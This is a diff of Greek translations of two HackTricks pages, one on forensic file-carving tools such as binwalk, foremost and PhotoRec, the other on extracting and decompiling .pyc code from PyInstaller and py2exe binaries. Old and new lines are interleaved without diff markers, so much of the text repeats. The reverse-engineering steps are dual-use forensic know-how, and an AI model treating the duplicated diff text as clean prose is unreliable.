* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Εργαλεία Ανάκτησης & Ανάγλυφων Δεδομένων
## Carving & Recovery tools
Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ανάκριση για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρει "κρυμμένα" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για την εύρεση ενσωματωμένου περιεχομένου. Μπορεί να εγκατασταθεί μέσω `apt` και ο πηγαίος κώδικάς του βρίσκεται στο [GitHub](https://github.com/ReFirmLabs/binwalk).
**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
**Χρήσιμες εντολές**:
**Useful commands**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλώς να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο την αντίστοιχη γραμμή. Αν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που έχουν ρυθμιστεί.
Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλώς να αναζητήσετε ορισμένα συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -51,73 +52,76 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα χρειαστεί να καταργήσετε τα σχόλια από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) των τύπων αρχείων που θέλετε να εξάγει.
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
Αυτό το εργαλείο περιλαμβάνεται στο Kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, emails)** και περισσότερα **αρχεία**. Απλά πρέπει να:
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε:
```
bulk_extractor memory.img -o out_folder
```
Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **malware** ή **μη υπάρχοντες**).
### PhotoRec
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τα **τύποι αρχείων** που θέλετε το PhotoRec να αναζητήσει.
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.
![](<../../../.gitbook/assets/image (524).png>)
### binvis
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και το [εργαλείο στην ιστοσελίδα](https://binvis.io/#/).
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και την [ιστοσελίδα εργαλείου](https://binvis.io/#/).
#### Χαρακτηριστικά του BinVis
* Οπτικός και ενεργός **θεατής δομής**
* Πολλαπλά γραφήματα για διαφορετικά σημεία εστίασης
* Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης
* Εστίαση σε τμήματα ενός δείγματος
* **Προβολή συμβόλων και πόρων**, σε εκτελέσιμα PE ή ELF, κ.λπ.
* Λήψη **μοτίβων** για κρυπτανάλυση αρχείων
* **Εντοπισμός** αλγορίθμων συμπιεστή ή κωδικοποιητή
* **Αναγνώριση** Στεγανογραφίας με βάση τα μοτίβα
* **Οπτική** διαφοροποίηση δυαδικών αρχείων
* **Βλέποντας συμβολοσειρές και πόρους**, σε εκτελέσιμα PE ή ELF π.χ.
* Λαμβάνοντας **μοτίβα** για κρυπτοανάλυση σε αρχεία
* **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης
* **Αναγνώριση** Στεγανότητας μέσω μοτίβων
* **Οπτική** διαφορά δυαδικών αρχείων
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρου κουτιού.
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing.
## Εργαλεία Ανάκτησης Συγκεκριμένων Δεδομένων
## Ειδικά Εργαλεία Κατασκευής Δεδομένων
### FindAES
Αναζητά κλειδιά AES αναζητώντας τα προγράμματα κλειδιών τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από TrueCrypt και BitLocker.
Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
Λήψη [εδώ](https://sourceforge.net/projects/findaes/).
Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/).
## Συμπληρωματικά εργαλεία
Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu)για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Αποσυναρμολόγηση μεταγλωττισμένων δυαδικών αρχείων Python (exe, elf) - Ανάκτηση από το .pyc
# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερευνητής Ερυθρής Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Από Μεταγλωττισμένο Δυαδικό σε .pyc
## Από Συμπιεσμένο Δυαδικό σε .pyc
Από ένα **ELF** μεταγλωττισμένο δυαδικό μπορείτε να **ανακτήσετε το .pyc** με:
Από ένα **ELF** συμπιεσμένο δυαδικό μπορείτε να **πάρετε το .pyc** με:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name
to filename? /tmp/binary.pyc
```
Σε ένα **δυαδικό αρχείο εκτελέσιμου Python**, μπορείτε να **λάβετε το αρχείο .pyc** εκτελώντας:
Σε ένα **python exe binary** που έχει μεταγλωττιστεί, μπορείτε να **πάρετε το .pyc** εκτελώντας:
```bash
python pyinstxtractor.py executable.exe
```
## Από το .pyc στον κώδικα Python
## Από .pyc σε κώδικα python
Για τα δεδομένα **.pyc** ("μεταγλωττισμένο" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξάγετε** τον **αρχικό** **κώδικα** **Python**:
Για τα **.pyc** δεδομένα ("συμπιεσμένος" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξαγάγετε** τον **αρχικό** **κώδικα** **python**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Βεβαιωθείτε** ότι το δυαδικό αρχείο έχει την **επέκταση** "**.pyc**" (αν όχι, το uncompyle6 δεν θα λειτουργήσει)
Κατά την εκτέλεση του **uncompyle6** ενδέχεται να συναντήσετε τα **παρακάτω σφάλματα**:
Κατά την εκτέλεση του **uncompyle6** μπορεί να βρείτε τα **παρακάτω σφάλματα**:
### Σφάλμα: Άγνωστος μαγικός αριθμός 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Για να διορθώσετε αυτό, χρειάζεται να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του δημιουργημένου αρχείου.
Για να το διορθώσετε, πρέπει να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του παραγόμενου αρχείου.
**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της Python**, για να πάρετε τον μαγικό αριθμό της **Python 3.8** θα πρέπει να **ανοίξετε ένα τερματικό Python 3.8** και να εκτελέσετε:
**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της python**, για να αποκτήσετε τον μαγικό αριθμό της **python 3.8** θα χρειαστεί να **ανοίξετε ένα τερματικό python 3.8** και να εκτελέσετε:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
Ο **μαγικός αριθμός** σε αυτήν την περίπτωση για το python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα πρέπει να **προσθέσετε** στην **αρχή** του **αρχείου .pyc** τα ακόλουθα bytes: `0x0d550a0d000000000000000000000000`
Ο **μαγικός αριθμός** σε αυτή την περίπτωση για python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα χρειαστεί να **προσθέσετε** στην **αρχή** του **.pyc αρχείου** τα εξής bytes: `0x0d550a0d000000000000000000000000`
**Μόλις** προσθέσετε αυτήν τη μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.**
**Μόλις** έχετε **προσθέσει** αυτή την μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.**
Έτσι θα μοιάζει μια σωστά προστεθείσα **μαγική κεφαλίδα .pyc του python3.8**:
Έτσι θα φαίνεται μια σωστά προστιθέμενη **.pyc python3.8 μαγική κεφαλίδα**:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Σφάλμα: Αποσυναρμολόγηση γενικών σφαλμάτων
### Σφάλμα: Αποσυμπίεση γενικών σφαλμάτων
**Άλλα σφάλματα** όπως: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` μπορεί να εμφανιστούν.
Αυτό πιθανότατα σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο).
Αυτό πιθανώς σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο).
Ελέγξτε την προηγούμενη τεκμηρίωση σφαλμάτων.
## Αυτόματο Εργαλείο
Το [**εργαλείο python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων που είναι διαθέσιμα στην κοινότητα και σχεδιάστηκαν για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυναρμολόγηση εκτελέσιμων που έχουν γραφτεί σε Python, ειδικά αυτών που δημιουργήθηκαν με τα py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για την αναγνώριση εάν ένα εκτελέσιμο βασίζεται σε Python και επιβεβαιώνει το εργαλείο δημιουργίας.
Το [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων διαθέσιμων στην κοινότητα που έχουν σχεδιαστεί για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυμπίεση εκτελέσιμων αρχείων γραμμένων σε Python, συγκεκριμένα αυτών που δημιουργήθηκαν με py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για να προσδιορίσει αν ένα εκτελέσιμο είναι βασισμένο σε Python και επιβεβαιώνει το εργαλείο δημιουργίας.
### ImportError: Όνομα αρχείου: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει
### ImportError: Το όνομα αρχείου: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει
Ένα συνηθισμένο πρόβλημα που συναντάται εμπλέκει ένα ατελές αρχείο bytecode Python που προκύπτει από τη διαδικασία **αποσυμπίεσης με το unpy2exe ή το pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω απουσιάζουσας αριθμησης έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, προστέθηκε μια επιλογή προσάρτησης, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυναρμολόγησης.
Ένα κοινό πρόβλημα που συναντάται περιλαμβάνει ένα ατελές αρχείο bytecode Python που προκύπτει από τη **διαδικασία αποσυμπίεσης με unpy2exe ή pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω έλλειψης αριθμού έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, έχει προστεθεί μια επιλογή prepend, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυμπίεσης.
Παράδειγμα του προβλήματος:
```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
## Ανάλυση python assembly
## Ανάλυση της συναρμολόγησης python
Αν δεν μπορέσατε να εξάγετε το "πρωτότυπο" κώδικα Python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξάγετε** το **assembly** (αλλά **δεν είναι πολύ περιγραφικό**, οπότε **προσπαθήστε** να εξάγετε **ξανά** τον πρωτότυπο κώδικα). Σε [αυτό το σύνδεσμο](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για **αποσυναρμολόγηση** του αρχείου _.pyc_ (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το αρχείο _.pyc_ είναι από Python 2, χρησιμοποιήστε την Python 2:
Αν δεν μπορέσατε να εξαγάγετε τον "αρχικό" κώδικα python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξαγάγετε** τη **συναρμολόγηση** (αλλά **δεν είναι πολύ περιγραφική**, οπότε **προσπαθήστε** να εξαγάγετε **ξανά** τον αρχικό κώδικα). Στο [εδώ](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για να **αποσυναρμολογήσετε** το _.pyc_ δυαδικό (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το _.pyc_ είναι από python2, χρησιμοποιήστε python2:
```bash
>>> import dis
>>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Μετατροπή από Python σε εκτελέσιμο
## Python to Executable
Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν τα φορτία να μεταγλωττιστούν σε py2exe και PyInstaller.
Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν να μεταγλωττιστούν οι payloads σε py2exe και PyInstaller.
### Για να δημιουργήσετε ένα φορτίο χρησιμοποιώντας το py2exe:
### Για να δημιουργήσετε μια payload χρησιμοποιώντας το py2exe:
1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org)
2. Για το φορτίο (σε αυτήν την περίπτωση, θα το ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό στο Σχήμα 1. Η επιλογή "bundle\_files" με την τιμή 1 θα συγκεντρώσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα εκτελέσιμο αρχείο.
3. Μόλις το σενάριο είναι έτοιμο, θα δώσουμε την εντολή "python setup.py py2exe". Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στο Σχήμα 2.
2. Για την payload (σε αυτή την περίπτωση, θα την ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό που φαίνεται στην Εικόνα 1. Η επιλογή “bundle\_files” με την τιμή 1 θα συνδυάσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα exe.
3. Μόλις το σενάριο είναι έτοιμο, θα εκδώσουμε την εντολή “python setup.py py2exe”. Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στην Εικόνα 2.
```python
from distutils.core import setup
import py2exe, sys, os
@ -198,7 +199,7 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller:
1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller).
2. Στη συνέχεια, θα δώσουμε την εντολή "pyinstaller --onefile hello.py" (να θυμάστε ότι το 'hello.py' είναι το payload μας). Αυτό θα συσκευάσει τα πάντα σε ένα εκτελέσιμο αρχείο.
2. Μετά από αυτό, θα εκδώσουμε την εντολή “pyinstaller onefile hello.py” (υπενθύμιση ότι το hello.py είναι το payload μας). Αυτό θα συγκεντρώσει τα πάντα σε ένα εκτελέσιμο αρχείο.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@ -217,20 +218,21 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
